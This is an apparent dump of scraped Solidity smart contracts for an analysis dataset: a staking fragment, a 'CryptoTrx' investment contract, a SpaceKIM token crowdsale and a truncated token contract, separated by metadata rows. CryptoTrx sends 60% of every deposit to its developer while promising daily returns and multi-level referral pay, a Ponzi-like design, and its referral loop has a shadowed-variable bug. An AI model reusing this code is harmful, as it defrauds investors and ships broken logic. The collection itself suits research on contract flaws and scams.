{ if(plan == 3) { uint256 boxes = depositedAmount.div(NFT_BOXES_STEP); // 1 box per 1000 MATIC if(boxes > MAX_NFT_AIRDROP_PLAN_4) { boxes = MAX_NFT_AIRDROP_PLAN_4; } return boxes; } if(plan == 4) { uint256 boxes = depositedAmount.div(NFT_BOXES_STEP).mul(2); // 2 boxes per 1000 MATIC if(boxes > MAX_NFT_AIRDROP_PLAN_5) { boxes = MAX_NFT_AIRDROP_PLAN_5; } return boxes; } if(plan == 5) { uint256 boxes = depositedAmount.div(NFT_BOXES_STEP).mul(3); // 3 boxes per 1000 MATIC if(boxes > MAX_NFT_AIRDROP_PLAN_6) { boxes = MAX_NFT_AIRDROP_PLAN_6; } return boxes; } } else { return 0; } } function getUserReferralWithdrawn(address userAddress) public view returns(uint256) { return users[userAddress].totalBonus; } function getContractBalance() public view returns (uint256) { return address(this).balance; } function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) { time = plans[plan].time; percent = plans[plan].percent; } function getPercent(uint8 plan) public view returns (uint256) { return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP)); } function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) { percent = getPercent(plan); profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time); finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP)); } function getUserPercentRate(address userAddress) public view returns (uint) { User storage user = users[userAddress]; uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day if (timeMultiplier > MAX_HOLD_PERCENT) { timeMultiplier = MAX_HOLD_PERCENT; } return timeMultiplier; } function getUserDividends(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; uint256 totalAmount; uint256 holdBonus = getUserPercentRate(userAddress); for (uint256 i = 0; i < user.deposits.length; i++) { if (user.checkpoint < user.deposits[i].finish) { if (user.deposits[i].plan < 3) { uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER); uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint; uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp; if (from < to) { totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP)); } } else { if(block.timestamp > user.deposits[i].finish) { totalAmount = totalAmount.add(user.deposits[i].profit); } } } } if(user.availableBonus > 0) { totalAmount = totalAmount.add(user.availableBonus); } return totalAmount; } function getContractInfo() public view returns(uint256, uint256, uint256) { return(totalStaked, totalRefBonus, totalUsers); } function getUserWithdrawn(address userAddress) public view returns(uint256) { return users[userAddress].withdrawn; } function getUserCheckpoint(address userAddress) public view returns(uint256) { return users[userAddress].checkpoint; } function getUserReferrer(address userAddress) public view returns(address) { return users[userAddress].referrer; } function getUserDownlineCount(address userAddress) public view returns(uint256) { return (users[userAddress].referrals); } function getUserReferralTotalBonus(address userAddress) public view returns(uint256) { return users[userAddress].totalBonus; } function getUserAvailable(address userAddress) public view returns(uint256) { return getUserDividends(userAddress); } function getUserAmountOfDeposits(address userAddress) public view returns(uint256) { return users[userAddress].deposits.length; } function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) { for (uint256 i = 0; i < users[userAddress].deposits.length; i++) { amount = amount.add(users[userAddress].deposits[i].amount); } } function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) { User storage user = users[userAddress]; plan = user.deposits[index].plan; percent = user.deposits[index].percent; amount = user.deposits[index].amount; profit = user.deposits[index].profit; start = user.deposits[index].start; finish = user.deposits[index].finish; } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
88,517
12,005
3f6340829664174bfbc8cd33484fe524eaed1605c3b89dd922cce4ac6d556bdc
20,728
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TR/TREz1MTVLXPfLq8HKZpkRzHTz9UHxrVgm6_CryptoTrx.sol
5,488
19,537
//SourceUnit: new_bank1.sol pragma solidity ^0.5.4; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library Objects { struct Investment { uint256 planId; uint256 investmentDate; uint256 investment; uint256 lastWithdrawalDate; uint256 currentDividends; bool isExpired; } struct Plan { uint256 dailyInterest; uint256 term; //0 means unlimited uint256 maxDailyInterest; } struct Investor { address addr; uint256 referrerEarnings; uint256 availableReferrerEarnings; uint256 referrer; uint256 planCount; mapping(uint256 => Investment) plans; mapping(uint256 => uint256) levelRefCount; } } contract Ownable { address public owner; event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); emit onOwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract CryptoTrx is Ownable { using SafeMath for uint256; uint256 private constant INTEREST_CYCLE = 1 days; uint256 private constant DEVELOPER_ENTRY_RATE = 600; //per thousand uint256 private constant ADMIN_ENTRY_RATE = 50; uint256 private constant REFERENCE_RATE = 330; uint256 private constant DEVELOPER_EXIT_RATE = 10; //per thousand uint256 private constant ADMIN_EXIT_RATE = 10; mapping(uint256 => uint256) public REFERENCE_LEVEL_RATE; uint256 public constant MINIMUM = 10000000; //minimum investment needed uint256 public constant REFERRER_CODE = 6666; //default uint256 public latestReferrerCode; uint256 private totalInvestments_; address payable private developerAccount_; address payable private marketingAccount_; address payable private referenceAccount_; mapping(address => uint256) public address2UID; mapping(uint256 => Objects.Investor) public uid2Investor; Objects.Plan[] private investmentPlans_; event onInvest(address investor, uint256 amount); event onGrant(address grantor, address beneficiary, uint256 amount); event onWithdraw(address investor, uint256 amount); constructor() public { developerAccount_ = msg.sender; marketingAccount_ = msg.sender; referenceAccount_ = msg.sender; _init(); } function() external payable { if (msg.value == 0) { withdraw(); } else { invest(0, 0); //default to buy plan 0, no referrer } } function checkIn() public { } function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner { require(_newMarketingAccount != address(0)); marketingAccount_ = _newMarketingAccount; } function getMarketingAccount() public view onlyOwner returns (address) { return marketingAccount_; } function getDeveloperAccount() public view onlyOwner returns (address) { return developerAccount_; } function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner { require(_newReferenceAccount != address(0)); referenceAccount_ = _newReferenceAccount; } function getReferenceAccount() public view onlyOwner returns (address) { return referenceAccount_; } function _init() private { latestReferrerCode = REFERRER_CODE; address2UID[msg.sender] = latestReferrerCode; uid2Investor[latestReferrerCode].addr = msg.sender; uid2Investor[latestReferrerCode].referrer = 0; uid2Investor[latestReferrerCode].planCount = 0; investmentPlans_.push(Objects.Plan(10,320*60*60*24,10)); //320 days REFERENCE_LEVEL_RATE[1]=120; REFERENCE_LEVEL_RATE[2]=50; REFERENCE_LEVEL_RATE[3]=30; REFERENCE_LEVEL_RATE[4]=20; REFERENCE_LEVEL_RATE[5]=10; REFERENCE_LEVEL_RATE[6]=10; REFERENCE_LEVEL_RATE[7]=10; REFERENCE_LEVEL_RATE[8]=10; REFERENCE_LEVEL_RATE[9]=10; REFERENCE_LEVEL_RATE[10]=10; REFERENCE_LEVEL_RATE[11]=5; REFERENCE_LEVEL_RATE[12]=5; REFERENCE_LEVEL_RATE[13]=5; REFERENCE_LEVEL_RATE[14]=5; REFERENCE_LEVEL_RATE[15]=5; REFERENCE_LEVEL_RATE[16]=5; REFERENCE_LEVEL_RATE[17]=5; REFERENCE_LEVEL_RATE[18]=5; REFERENCE_LEVEL_RATE[19]=5; REFERENCE_LEVEL_RATE[20]=5; } function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) { uint256[] memory ids = new uint256[](investmentPlans_.length); uint256[] memory interests = new uint256[](investmentPlans_.length); uint256[] memory terms = new uint256[](investmentPlans_.length); uint256[] memory maxInterests = new uint256[](investmentPlans_.length); for (uint256 i = 0; i < investmentPlans_.length; i++) { Objects.Plan storage plan = investmentPlans_[i]; ids[i] = i; interests[i] = plan.dailyInterest; maxInterests[i] = plan.maxDailyInterest; terms[i] = plan.term; } return (ids, interests, maxInterests, terms); } function getTotalInvestments() public view returns (uint256){ return totalInvestments_; } function getBalance() public view returns (uint256) { return address(this).balance; } function getUIDByAddress(address _addr) public view returns (uint256) { return address2UID[_addr]; } function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256[] memory, uint256, uint256[] memory, uint256[] memory) { if (msg.sender != owner) { require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info."); } Objects.Investor storage investor = uid2Investor[_uid]; uint256[] memory newDividends = new uint256[](investor.planCount); uint256[] memory currentDividends = new uint256[](investor.planCount); uint256[] memory RefCount = new uint256[](20); for (uint256 i = 0; i < investor.planCount; i++) { require(investor.plans[i].investmentDate != 0, "wrong investment date"); currentDividends[i] = investor.plans[i].currentDividends; if (investor.plans[i].isExpired) { newDividends[i] = 0; } else { if (investmentPlans_[investor.plans[i].planId].term > 0) { if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) { newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest); } else { newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest); } } else { newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest); } } } for(uint256 i = 1; i < 21; i++) { RefCount[i]= investor.levelRefCount[i]; } return (investor.referrerEarnings, investor.availableReferrerEarnings, investor.referrer, RefCount, investor.planCount, currentDividends, newDividends); } function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) { if (msg.sender != owner) { require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info."); } Objects.Investor storage investor = uid2Investor[_uid]; uint256[] memory planIds = new uint256[](investor.planCount); uint256[] memory investmentDates = new uint256[](investor.planCount); uint256[] memory investments = new uint256[](investor.planCount); uint256[] memory currentDividends = new uint256[](investor.planCount); bool[] memory isExpireds = new bool[](investor.planCount); uint256[] memory newDividends = new uint256[](investor.planCount); uint256[] memory interests = new uint256[](investor.planCount); for (uint256 i = 0; i < investor.planCount; i++) { require(investor.plans[i].investmentDate!=0,"wrong investment date"); planIds[i] = investor.plans[i].planId; currentDividends[i] = investor.plans[i].currentDividends; investmentDates[i] = investor.plans[i].investmentDate; investments[i] = investor.plans[i].investment; if (investor.plans[i].isExpired) { isExpireds[i] = true; newDividends[i] = 0; interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest; } else { isExpireds[i] = false; if (investmentPlans_[investor.plans[i].planId].term > 0) { if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) { newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest); isExpireds[i] = true; interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest; }else{ newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest); uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ; interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest; } } else { newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest); uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ; interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest; } } } return (planIds, investmentDates, investments, currentDividends, newDividends, interests, isExpireds); } function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) { if (_referrerCode >= REFERRER_CODE) { //require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code"); if (uid2Investor[_referrerCode].addr == address(0)) { _referrerCode = 0; } } else { _referrerCode = 0; } address addr = _addr; latestReferrerCode = latestReferrerCode.add(1); address2UID[addr] = latestReferrerCode; uid2Investor[latestReferrerCode].addr = addr; uid2Investor[latestReferrerCode].referrer = _referrerCode; uid2Investor[latestReferrerCode].planCount = 0; uint256 ln =1; while (_referrerCode >= REFERRER_CODE && ln<21) { uint256 _ref1 = _referrerCode; uid2Investor[_ref1].levelRefCount[ln] = uid2Investor[_ref1].levelRefCount[ln].add(1); ln++; _ref1 = uid2Investor[_ref1].referrer; } return (latestReferrerCode); } function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) { require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id"); require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement"); uint256 uid = address2UID[_addr]; if (uid == 0) { uid = _addInvestor(_addr, _referrerCode); //new user } else {//old user //do nothing, referrer is permenant } uint256 planCount = uid2Investor[uid].planCount; Objects.Investor storage investor = uid2Investor[uid]; investor.plans[planCount].planId = _planId; investor.plans[planCount].investmentDate = block.timestamp; investor.plans[planCount].lastWithdrawalDate = block.timestamp; investor.plans[planCount].investment = _amount; investor.plans[planCount].currentDividends = 0; investor.plans[planCount].isExpired = false; investor.planCount = investor.planCount.add(1); _calculateReferrerReward(_amount, investor.referrer); totalInvestments_ = totalInvestments_.add(_amount); uint256 developerPercentage = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000); developerAccount_.transfer(developerPercentage); uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000); marketingAccount_.transfer(marketingPercentage); return true; } function grant(address addr, uint256 _planId) public payable { uint256 grantorUid = address2UID[msg.sender]; bool isAutoAddReferrer = true; uint256 referrerCode = 0; if (grantorUid != 0 && isAutoAddReferrer) { referrerCode = grantorUid; } if (_invest(addr,_planId,referrerCode,msg.value)) { emit onGrant(msg.sender, addr, msg.value); } } function invest(uint256 _referrerCode, uint256 _planId) public payable { if (_invest(msg.sender, _planId, _referrerCode, msg.value)) { emit onInvest(msg.sender, msg.value); } } function withdraw() public payable { require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously"); uint256 uid = address2UID[msg.sender]; require(uid != 0, "Can not withdraw because no any investments"); uint256 withdrawalAmount = 0; for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) { if (uid2Investor[uid].plans[i].isExpired) { continue; } Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId]; bool isExpired = false; uint256 withdrawalDate = block.timestamp; if (plan.term > 0) { uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term); if (withdrawalDate >= endTime) { withdrawalDate = endTime; isExpired = true; } } uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest); withdrawalAmount += amount; uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate; uid2Investor[uid].plans[i].isExpired = isExpired; uid2Investor[uid].plans[i].currentDividends += amount; } uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_EXIT_RATE)).div(1000); developerAccount_.transfer(developerPercentage); uint256 marketingPercentage = (withdrawalAmount.mul(ADMIN_EXIT_RATE)).div(1000); marketingAccount_.transfer(marketingPercentage); msg.sender.transfer(withdrawalAmount.sub(developerPercentage.add(marketingPercentage))); if (uid2Investor[uid].availableReferrerEarnings>0) { msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings); uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings); uid2Investor[uid].availableReferrerEarnings = 0; } emit onWithdraw(msg.sender, withdrawalAmount); } function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) { uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ; uint256 result = 0; uint256 index = 0; if(numberOfDays > 0){ uint256 secondsLeft = (_now - _start); for (index; index < numberOfDays; index++) { if(_dailyInterestRate + index <= _maxDailyInterest){ secondsLeft -= INTEREST_CYCLE; result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24); } else{ break; } } result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24); return result; }else{ return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24); } } function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private { uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000); if (_referrerCode != 0) { uint256 _ref1 = _referrerCode; uint256 _refAmount = 0; uint ln=1; while (_ref1 != 0 && ln<21) { _refAmount = (_investment.mul(REFERENCE_LEVEL_RATE[1])).div(1000); _allReferrerAmount = _allReferrerAmount.sub(_refAmount); uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings); uint256 _ref1= uid2Investor[_ref1].referrer; ln++; } } if (_allReferrerAmount > 0) { referenceAccount_.transfer(_allReferrerAmount); } } }
288,154
12,006
4a3f888e9119a1f99b5154bf3e9cf75783f2172e8fa3478edc86f98053b0f95d
9,582
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x80fa08fc8da9db6dac8cd05d8741a2e7f20f39da.sol
2,971
9,554
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract SpaceKIMToken is BurnableToken { string public constant name = "Space KIM Token"; string public constant symbol = "KIM"; uint32 public constant decimals = 0; uint256 public constant INITIAL_SUPPLY = 37900000; function SpaceKIMToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } contract Crowdsale is Ownable { using SafeMath for uint; SpaceKIMToken public token = new SpaceKIMToken(); address multisig; address restricted; uint statusPreSale = 0; uint rate; uint minAmount; uint saleStartDate; uint saleFinishDate; uint olympStartDate; uint olympEndDate; uint percentsTeamTokens; uint percentsPreSaleTokens; uint percentsBountySecondTokens; uint percentsOlympicTokens; uint endCrowdsaleDate; modifier saleIsOn() { uint curState = getStatus(); require(curState != 0 && curState != 5 && curState != 3); _; } modifier isUnderHardCap() { uint _availableTokens = token.balanceOf(this); uint _tokens = calculateTokens(msg.value); uint _minTokens = holdTokensOnStage(); require(_availableTokens.sub(_tokens) >= _minTokens); _; } modifier checkMinAmount() { require(msg.value >= minAmount); _; } function Crowdsale() public { multisig = 0x381b16397eF8fB8FFF65F6d3B6E5979C9d38fe40; restricted = 0x381b16397eF8fB8FFF65F6d3B6E5979C9d38fe40; minAmount = 0.01 * 1 ether; rate = 10000; saleStartDate = 1515974400; // 15.01.2018 00:00 GMT Main START saleFinishDate = 1517961600; // 07.02.2017 00:00 GMT Main END //Bounty first olympStartDate = 1518134400; // 09.02.2018 00:00 GMT Olymp START olympEndDate = 1519516800; // 25.02.2018 00:00 GMT Olymp END //Bounty second endCrowdsaleDate = 1519948800; // 02.03.2018 00:00 GMT Close Contract percentsTeamTokens = 20; percentsBountySecondTokens = 5; percentsPreSaleTokens = 30; percentsOlympicTokens = 15; } function calculateTokens(uint value) internal constant returns (uint) { uint tokens = rate.mul(value).div(1 ether); if(getStatus() == 1){ tokens += tokens.div(2); } return tokens; } // 0 - stop // 1 - preSale // 2 - sale // 3 - Bounty First // 4 - Olympic games // 5 - Bounty Second function getStatus() internal constant returns (uint8) { if(now > endCrowdsaleDate) { return 0; } else if(now > olympEndDate && now < endCrowdsaleDate) { return 5; } else if(now > olympStartDate && now < olympEndDate) { return 4; } else if(now > saleFinishDate && now < olympStartDate) { return 3; } else if(now > saleStartDate && now < saleFinishDate) { return 2; } else if(statusPreSale == 1){ return 1; } else { return 0; } } function holdTokensOnStage() public view returns (uint) { uint _totalSupply = token.totalSupply(); uint _percents = 100; uint curState = getStatus(); if(curState == 5) { _percents = percentsTeamTokens;//20 } else if(curState == 4) { _percents = percentsTeamTokens.add(percentsBountySecondTokens);//20+5 } else if(curState == 3) { _percents = percentsTeamTokens.add(percentsBountySecondTokens).add(percentsOlympicTokens);//20+5+15 } else if(curState == 2) { _percents = percentsTeamTokens.add(percentsBountySecondTokens).add(percentsOlympicTokens);//20+5+15 } else if(curState == 1) { _percents = _percents.sub(percentsPreSaleTokens);//70 } return _totalSupply.mul(_percents).div(100); } function onBalance() public view returns (uint) { return token.balanceOf(this); } function availableTokensOnCurrentStage() public view returns (uint) { uint _currentHolder = token.balanceOf(this); uint _minTokens = holdTokensOnStage(); return _currentHolder.sub(_minTokens); } function getStatusInfo() public view returns (string) { uint curState = getStatus(); if(now > endCrowdsaleDate) { return "Crowdsale is over"; } else if(curState == 5) { return "Now Bounty #2 token distribution is active"; } else if(curState == 4) { return "Now Olympic Special (ICO #2) is active"; } else if(curState == 3) { return "Now Bounty #1 token distribution is active"; } else if(curState == 2) { return "Now ICO #1 is active"; } else if(curState == 1) { return "Now Pre-ICO is active"; } else { return "The sale of tokens is stopped"; } } function setStatus(uint8 newStatus) public onlyOwner { require(newStatus == 1 || newStatus == 0); statusPreSale = newStatus; } function burnTokens() public onlyOwner { require(now > endCrowdsaleDate); uint _totalSupply = token.totalSupply(); uint _teamTokens = _totalSupply.mul(percentsTeamTokens).div(100); token.transfer(restricted, _teamTokens); uint _burnTokens = token.balanceOf(this); token.burn(_burnTokens); } function sendTokens(address to, uint tokens) public onlyOwner { uint curState = getStatus(); require(curState == 5 || curState == 3); uint _minTokens = holdTokensOnStage(); require(token.balanceOf(this).sub(tokens) >= _minTokens); token.transfer(to, tokens); } function createTokens() public saleIsOn isUnderHardCap checkMinAmount payable { uint tokens = calculateTokens(msg.value); multisig.transfer(msg.value); token.transfer(msg.sender, tokens); } function() external payable { createTokens(); } }
187,174
12,007
986cd82ea55754d56ded8d62cfd72d869f3710378adb3fa966b4a3882874485f
18,819
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/c3/C3caC54c915916FFd7d4172500dfC9143C9A19CF_Crank.sol
4,183
15,789
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface DeployerCERTIK { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert 